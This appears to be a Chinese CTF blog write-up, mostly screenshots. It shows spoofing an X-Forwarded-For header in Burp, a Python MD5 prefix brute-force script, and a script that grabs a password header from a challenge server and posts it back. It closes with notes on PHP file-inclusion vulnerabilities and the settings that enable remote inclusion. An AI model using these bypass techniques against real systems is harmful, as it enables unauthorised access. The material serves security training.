![0ca437e89c53b9b67d6d830edf75735d.png](https://img-blog.csdnimg.cn/img_convert/0ca437e89c53b9b67d6d830edf75735d.png)
![0fe436c409a7e349d0649c88a17fe91e.png](https://img-blog.csdnimg.cn/img_convert/0fe436c409a7e349d0649c88a17fe91e.png)
![c06fceef2d81b74fbb5c0369ae0f1943.png](https://img-blog.csdnimg.cn/img_convert/c06fceef2d81b74fbb5c0369ae0f1943.png)
在bp里面添加:X-Forwarded-For:127.0.0.1
![0fe436c409a7e349d0649c88a17fe91e.png](https://img-blog.csdnimg.cn/img_convert/0fe436c409a7e349d0649c88a17fe91e.png)
md5碰撞
上脚本:
import hashlib
def get_token(txt):
m1 = hashlib.md5()
m1.update(txt.encode("utf-8"))
token = m1.hexdigest()
return token
for i in range(0,99999999999):
if get_token(str(i))[0:6] == '89240b':
print(i)
break
web13![bab209c1bdf11bf143999f06832e1dbd.png](https://img-blog.csdnimg.cn/img_convert/bab209c1bdf11bf143999f06832e1dbd.png)
import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
s = requests.session()
html=s.get(url)
psw = html.headers['Password']
ans = base64.b64decode(psw)
data = {'password':str(ans)[7:39]}
res = s.post(url,data)
print(res.text)
![7b7f5be18c2a4b5ba2a3b16237d5e572.png](https://img-blog.csdnimg.cn/img_convert/7b7f5be18c2a4b5ba2a3b16237d5e572.png)
![be8875e98c094e8f6a9095e3c62113d4.png](https://img-blog.csdnimg.cn/img_convert/be8875e98c094e8f6a9095e3c62113d4.png)
文件包含漏洞:
我应用大佬的一句话,就像Java里面的包,python里面的模块,官方就是说重用性,但是python和Java基本无文件包含漏洞,这是PHP语言的特点,在php里面把文件名称变成了变量,直接变量代入,如果没有严格的名称过滤,就出现文件包含漏洞,但是也有绕过的思路
文件包含:把文件当作PHP来执行
文件读取:把文件读取成一个字符串
![d531b7bd48d819478e2922e6467eddcf.png](https://img-blog.csdnimg.cn/img_convert/d531b7bd48d819478e2922e6467eddcf.png)
![76562570caa7ed081b45b413918cdc25.png](https://img-blog.csdnimg.cn/img_convert/76562570caa7ed081b45b413918cdc25.png)
![d5f7263531457e5e03e92cd6da4acbbd.png](https://img-blog.csdnimg.cn/img_convert/d5f7263531457e5e03e92cd6da4acbbd.png)
需要开启 php.ini 中的
allow_url_fopen(可以读取远程文件)
和
allow_url_include(可以用上面4个函数包含远程文件)
。
文件包含函数
require()//出错,直接终止,没有返回值
require_once()//只包含一次
include()//包含文件/路径或其它出错,可以继续进行,有返回值,多次包含
include_once()//只包含一次
利用方式:
PHP为协议
这是我们下次要利用的靶场:LFI labs(github上可以clone下来)